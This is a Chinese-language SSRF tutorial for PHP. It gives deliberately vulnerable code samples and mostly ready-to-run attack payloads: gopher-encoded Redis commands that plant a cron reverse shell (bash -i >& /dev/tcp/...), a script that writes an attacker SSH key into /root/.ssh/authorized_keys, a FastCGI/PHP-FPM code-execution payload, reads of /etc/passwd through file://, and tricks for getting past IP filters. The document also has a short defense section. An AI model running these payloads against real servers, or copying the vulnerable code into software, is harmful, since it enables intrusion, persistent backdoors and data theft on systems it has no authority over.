漏洞简介

SSRF,Server-Side Request Forgery,服务端请求伪造,是一种由攻击者构造形成由服务器端发起请求的一个漏洞。一般情况下,SSRF 攻击的目标是从外网无法访问的内部系统。漏洞形成的原因大多是因为服务端提供了从其他服务器应用获取数据的功能且没有对目标地址作过滤和限制。

漏洞代码

curl_exec()版

function curl($url){  
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    curl_exec($ch);
    curl_close($ch);
}

$url = $_GET['url'];
curl($url);  

file_get_contents()版

$url = $_GET['url'];;
echo file_get_contents($url);

fsockopen()版

function GetFile($host,$port,$link) 
{ 
    $fp = fsockopen($host, intval($port), $errno, $errstr, 30); 
    if (!$fp) 
    { 
        echo "$errstr (error number $errno) \n"; 
    } 
    else 
    { 
        $out = "GET $link HTTP/1.1\r\n"; 
        $out .= "Host: $host\r\n"; 
        $out .= "Connection: Close\r\n\r\n"; 
        $out .= "\r\n"; 
        fwrite($fp, $out); 
        $contents=''; 
        while (!feof($fp)) 
        { 
            $contents.= fgets($fp, 1024); 
        } 
        fclose($fp); 
        return $contents; 
    } 
}

ssrf利用

这里以curl为例,查看curl的版本和该版本支持的协议。如http,file, dict, gopher,sftp

curl 7.55.1 (x86_64-pc-linux-gnu) libcurl/7.55.1 OpenSSL/1.0.2l zlib/1.2.8 libidn2/2.0.2 libpsl/0.18.0 (+libidn2/2.0.2) libssh2/1.8.0 nghttp2/1.25.0 librtmp/2.3
Release-Date: 2017-08-14
Protocols: dict file ftp ftps gopher http https imap imaps ldap ldaps pop3 pop3s rtmp rtsp scp sftp smb smbs smtp smtps telnet tftp 
Features: AsynchDNS IDN IPv6 Largefile GSS-API Kerberos SPNEGO NTLM NTLM_WB SSL libz TLS-SRP HTTP2 UnixSockets HTTPS-proxy PSL 

本地利用

# 利用file协议查看文件
curl -v 'file:///etc/passwd'

# 利用dict探测端口
curl -v 'dict://127.0.0.1:22'
curl -v 'dict://127.0.0.1:6379/info'

# 利用gopher协议反弹shell
curl -v 'gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$57%0d%0a%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a'

远程利用

创建ssrf.php:

<?php 
$ch = curl_init(); 
curl_setopt($ch, CURLOPT_URL, $_GET['url']); 
#curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_HEADER, 0); 
echo $url;
curl_exec($ch); 
curl_close($ch); 
?>

远程利用

# 利用file协议任意文件读取
curl -v 'http:///192.168.75.130/ssrf.php?url=file:///etc/passwd'

# 利用dict协议查看端口
curl -v 'http:///192.168.75.130/ssrf.php?url=dict://127.0.0.1:22'

# 利用gopher协议反弹shell
curl -v 'http://192.168.75.130/ssrf.php?url=gopher%3A%2F%2F127.0.0.1%3A6379%2F_%2A3%250d%250a%243%250d%250aset%250d%250a%241%250d%250a1%250d%250a%2456%250d%250a%250d%250a%250a%250a%2A%2F1%20%2A%20%2A%20%2A%20%2A%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F127.0.0.1%2F2333%200%3E%261%250a%250a%250a%250d%250a%250d%250a%250d%250a%2A4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%243%250d%250adir%250d%250a%2416%250d%250a%2Fvar%2Fspool%2Fcron%2F%250d%250a%2A4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%2410%250d%250adbfilename%250d%250a%244%250d%250aroot%250d%250a%2A1%250d%250a%244%250d%250asave%250d%250a%2A1%250d%250a%244%250d%250aquit%250d%250a'

攻击内网应用

主要攻击redis、discuz、fastcgi、memcache、内网脆弱应用这几类应用,主要利用gopher协议。
Gopher协议是 HTTP 协议出现之前,在 Internet 上常见且常用的一个协议。当然现在 Gopher 协议已经慢慢淡出历史。Gopher协议可以做很多事情,特别是在 SSRF 中可以发挥很多重要的作用。利用此协议可以攻击内网的 FTP、Telnet、Redis、Memcache也可以进行 GET、POST 请求。这极大拓宽了 SSRF 的攻击面。

攻击redis

redis反弹shell

redis_shell.sh:

echo -e "\n\n\n*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/1234 0>&1\n\n\n"|redis-cli -h $1 -p $2 -x set 1
redis-cli -h $1 -p $2 config set dir /var/spool/cron/
redis-cli -h $1 -p $2 config set dbfilename root
redis-cli -h $1 -p $2 save
redis-cli -h $1 -p $2 quit

注意redis反弹shell有个坑,ubuntu不能使用bash反弹shell,如果如遇到ubuntu就该为写ssh key吧。
用socat抓数据包:

socat -v tcp-listen:4444,fork tcp-connect:localhost:6379

执行脚本:

bash redis_shell.sh 127.0.0.1 4444

socat捕获到的数据:

> 2018/04/21 08:51:02.903058  length=85 from=0 to=84
*3\r
$3\r
set\r
$1\r
1\r
$58\r



*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/1234 0>&1



\r
< 2018/04/21 08:51:02.904598  length=5 from=0 to=4
+OK\r
> 2018/04/21 08:51:02.913147  length=65 from=0 to=64
*4\r
$6\r
config\r
$3\r
set\r
$3\r
dir\r
$24\r
/var/spool/cron/crontabs\r
< 2018/04/21 08:51:02.914291  length=5 from=0 to=4
+OK\r
> 2018/04/21 08:51:02.929191  length=52 from=0 to=51
*4\r
$6\r
config\r
$3\r
set\r
$10\r
dbfilename\r
$4\r
root\r
< 2018/04/21 08:51:02.930264  length=5 from=0 to=4
+OK\r
> 2018/04/21 08:51:02.936022  length=14 from=0 to=13
*1\r
$4\r
save\r
< 2018/04/21 08:51:02.939814  length=5 from=0 to=4
+OK\r
> 2018/04/21 08:51:02.943303  length=14 from=0 to=13
*1\r
$4\r
quit\r
< 2018/04/21 08:51:02.944066  length=5 from=0 to=4
+OK\r

将其保存为socat.log
然后将其转换为gopher适用的协议,这里用jaychou师傅写的一个脚本
转换规则如下:
如果第一个字符是>或者< 那么丢弃该行字符串,表示请求和返回的时间。
如果前3个字符是+OK 那么丢弃该行字符串,表示返回的字符串。
将\r字符串替换成%0d%0a
空白行替换为%0a
tran2gopher.py:

#coding: utf-8
#author: JoyChou
import sys

exp = ''

with open(sys.argv[1]) as f:
    for line in f.readlines():
        if line[0] in '><+':
            continue
        # 判断倒数第2、3字符串是否为\r
        elif line[-3:-1] == r'\r':
            # 如果该行只有\r,将\r替换成%0a%0d%0a
            if len(line) == 3:
                exp = exp + '%0a%0d%0a'
            else:
                line = line.replace(r'\r', '%0d%0a')
                # 去掉最后的换行符
                line = line.replace('\n', '')
                exp = exp + line
        # 判断是否是空行,空行替换为%0a
        elif line == '\x0a':
            exp = exp + '%0a'
        else:
            line = line.replace('\n', '')
            exp = exp + line
print exp

python tran2gopher.py socat.log

结果为:

*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$58%0d%0a%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/1234 0>&1%0a%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$24%0d%0a/var/spool/cron/crontabs%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a%0a

本地测试是否成功:

curl -v 'gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$58%0d%0a%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/1234 0>&1%0a%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$24%0d%0a/var/spool/cron/crontabs%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a%0a'

如果返回5个ok则表示5个命令都执行成功

如果远程测试,则还应进行url编码:

curl -v 'http://192.168.75.130/ssrf.php?url=%67%6f%70%68%65%72%3a%2f%2f%31%32%37%2e%30%2e%30%2e%31%3a%36%33%37%39%2f%5f%2a%33%25%30%64%25%30%61%24%33%25%30%64%25%30%61%73%65%74%25%30%64%25%30%61%24%31%25%30%64%25%30%61%31%25%30%64%25%30%61%24%35%38%25%30%64%25%30%61%25%30%61%25%30%61%25%30%61%2a%2f%31%20%2a%20%2a%20%2a%20%2a%20%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%32%37%2e%30%2e%30%2e%31%2f%31%32%33%34%20%30%3e%26%31%25%30%61%25%30%61%25%30%61%25%30%61%25%30%64%25%30%61%2a%34%25%30%64%25%30%61%24%36%25%30%64%25%30%61%63%6f%6e%66%69%67%25%30%64%25%30%61%24%33%25%30%64%25%30%61%73%65%74%25%30%64%25%30%61%24%33%25%30%64%25%30%61%64%69%72%25%30%64%25%30%61%24%32%34%25%30%64%25%30%61%2f%76%61%72%2f%73%70%6f%6f%6c%2f%63%72%6f%6e%2f%63%72%6f%6e%74%61%62%73%25%30%64%25%30%61%2a%34%25%30%64%25%30%61%24%36%25%30%64%25%30%61%63%6f%6e%66%69%67%25%30%64%25%30%61%24%33%25%30%64%25%30%61%73%65%74%25%30%64%25%30%61%24%31%30%25%30%64%25%30%61%64%62%66%69%6c%65%6e%61%6d%65%25%30%64%25%30%61%24%34%25%30%64%25%30%61%72%6f%6f%74%25%30%64%25%30%61%2a%31%25%30%64%25%30%61%24%34%25%30%64%25%30%61%73%61%76%65%25%30%64%25%30%61%2a%31%25%30%64%25%30%61%24%34%25%30%64%25%30%61%71%75%69%74%25%30%64%25%30%61%25%30%61'

监听端口一分钟后,就会执行命令反弹shell

nc -lvp 1234

写入ssh key

先生成ssh key

ssh-keygen -t rsa

ssh_shell.sh

echo -e "\n\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDNjOo6YRWDUNLdBDX3Y8lrEm6r9Ov9rFtYx5U/XSrSdUsRmGW9PvAlceS4H/5aExJc04bcTXQXRHO3RJQHcKvPUIcrxOION2mvccWkehmHnTTDCUw9igqFH91aMg013Ist6xKnco+Nn9LKJD49rtMKG+BFOTLg4C27gLC0OZkl8itZGHTS9S8I5LTEpwLItDkbZBgmDKYi/kaWjlw9PWtFYNpEvrt2SBgvWnHkVzPPELfTkbiIuwHYyYZD6YAXpH3tplk5RIZoHID08YzdxQqjcNdEXMFuaYvfdIWIWfzbhAwKl/lSpMDOBosAbd70CdjIz7VMcoYCcArr+zNtg8Hz root@ubuntu\n\n\n\n"|redis-cli -h $1 -p $2 -x set 1
redis-cli -h $1 -p $2 config set dir /root/.ssh
redis-cli -h $1 -p $2 config set dbfilename authorized_keys
redis-cli -h $1 -p $2 save
redis-cli -h $1 -p $2 quit

接下来过程和上面类似,不在重复。
在redis服务器上还有web服务知道路径的时候还可以直接写webshell。

攻击fastcgi

使用vulhun的fpm环境
libcurl版本>=7.45.0
PHP-FPM监听端口
PHP-FPM版本 >= 5.3.3
知道服务器上任意一个php文件的绝对路径
由于EXP里有%00,CURL版本小于7.45.0的版本,gopher的%00会被截断。

https://curl.haxx.se/changes.html#7_45_

转换为Gopher的EXP
监听一个端口的流量 nc -lvp 2333 > 1.txt,执行EXP,流量打到2333端口

python fpm.py -c " /tmp/1.php'); exit;?>" -p 2333 127.0.0.1 /usr/local/lib/php/PEAR.php

urlencode

f = open('1.txt')
ff = f.read()
from urllib import quote
print quote(ff)

得到gopher的EXP

%01%01%B2%93%00%08%00%00%00%01%00%00%00%00%00%00%01%04%B2%93%01%E7%00%00%0E%02CONTENT_LENGTH50%0C%10CONTENT_TYPEapplication/text%0B%04REMOTE_PORT9985%0B%09SERVER_NAMElocalhost%11%0BGATEWAY_INTERFACEFastCGI/1.0%0F%0ESERVER_SOFTWAREphp/fcgiclient%0B%09REMOTE_ADDR127.0.0.1%0F%1BSCRIPT_FILENAME/usr/local/lib/php/PEAR.php%0B%1BSCRIPT_NAME/usr/local/lib/php/PEAR.php%09%1FPHP_VALUEauto_prepend_file%20%3D%20php%3A//input%0E%04REQUEST_METHODPOST%0B%02SERVER_PORT80%0F%08SERVER_PROTOCOLHTTP/1.1%0C%00QUERY_STRING%0F%16PHP_ADMIN_VALUEallow_url_include%20%3D%20On%0D%01DOCUMENT_ROOT/%0B%09SERVER_ADDR127.0.0.1%0B%1BREQUEST_URI/usr/local/lib/php/PEAR.php%01%04%B2%93%00%00%00%00%01%05%B2%93%002%00%00%3C%3Fphp%20system%28%27echo%20sectest%20%3E%20/tmp/1.php%27%29%3B%20exit%3B%3F%3E%01%05%B2%93%00%00%00%00

执行:

curl 'gopher://127.0.0.1:9000/_%01%01%B2%93%00%08%00%00%00%01%00%00%00%00%00%00%01%04%B2%93%01%E7%00%00%0E%02CONTENT_LENGTH50%0C%10CONTENT_TYPEapplication/text%0B%04REMOTE_PORT9985%0B%09SERVER_NAMElocalhost%11%0BGATEWAY_INTERFACEFastCGI/1.0%0F%0ESERVER_SOFTWAREphp/fcgiclient%0B%09REMOTE_ADDR127.0.0.1%0F%1BSCRIPT_FILENAME/usr/local/lib/php/PEAR.php%0B%1BSCRIPT_NAME/usr/local/lib/php/PEAR.php%09%1FPHP_VALUEauto_prepend_file%20%3D%20php%3A//input%0E%04REQUEST_METHODPOST%0B%02SERVER_PORT80%0F%08SERVER_PROTOCOLHTTP/1.1%0C%00QUERY_STRING%0F%16PHP_ADMIN_VALUEallow_url_include%20%3D%20On%0D%01DOCUMENT_ROOT/%0B%09SERVER_ADDR127.0.0.1%0B%1BREQUEST_URI/usr/local/lib/php/PEAR.php%01%04%B2%93%00%00%00%00%01%05%B2%93%002%00%00%3C%3Fphp%20system%28%27echo%20sectest%20%3E%20/tmp/1.php%27%29%3B%20exit%3B%3F%3E%01%05%B2%93%00%00%00%00'

成功后可发现生成了服务器上生成了/tmp/1.php文件

SSRF漏洞出现的场景

SSRF脑图.jpg

  • 能够对外发起网络请求的地方,就可能存在SSRF漏洞
  • 从远程服务器请求资源(Upload from URL,Import & Export RSS Feed)
  • 数据库内置功能(Oracle、MongoDB、MSSQL、Postgres、CouchDB)
  • Webmail 收取其他邮箱邮件(POP3、IMAP、SMTP)
  • 文件处理、编码处理、属性信息处理(ffmpeg、ImageMagic、DOCX、PDF、XML)
    例子
  • 在线识图,在线文档翻译,分享,订阅等,这些有的都会发起网络请求。
  • 根据远程URL上传,静态资源图片等,这些会请求远程服务器的资源。
  • 数据库的比如mongodb的copyDatabase函数,这点看猪猪侠讲的吧,没实践过。
  • 邮件系统就是接收邮件服务器地址这些地方。
  • 文件就找ImageMagick,xml这些。
  • 从URL关键字中寻找,比如:source,share,link,src,imageurl,target等。

防御

  • 限制协议为HTTP、HTTPS
  • 禁止30x跳转
  • 设置URL白名单或者限制内网IP

绕过

http://127.0.0.1/ 被过滤的时候,可以尝试一下几种方式:

1、@或#

http://abc@127.0.0.1

127.0.0.1#http://abc
2、添加端口号
http://127.0.0.1:8080

3、短地址
http://dwz.cn/11SMa

4、可以指向任意ip的域名:xip.io

10.0.0.1.xip.io 10.0.0.1
www.10.0.0.1.xip.io 10.0.0.1
mysite.10.0.0.1.xip.io 10.0.0.1
foo.bar.10.0.0.1.xip.io 10.0.0.1
5、ip地址转换成进制来访问
115.239.210.26 = 16373751032
首先把这四段数字给 转成 16 进制!结果:73 ef d2 1a 然后把 73efd21a 这十六进制一起转换成8进制!访问使用http://00+转换后

十六进制
115.239.210.26 = 0x73.0xef.0xd2.0x1a

八进制
115.239.210.26 = 0163.0357.0322.0032
6.DNS rebinding

参考

1.SSRF in PHP
2.SSRF 服务端请求伪造
3.利用Gopher协议拓展攻击面
4.SSRF中的绕过姿势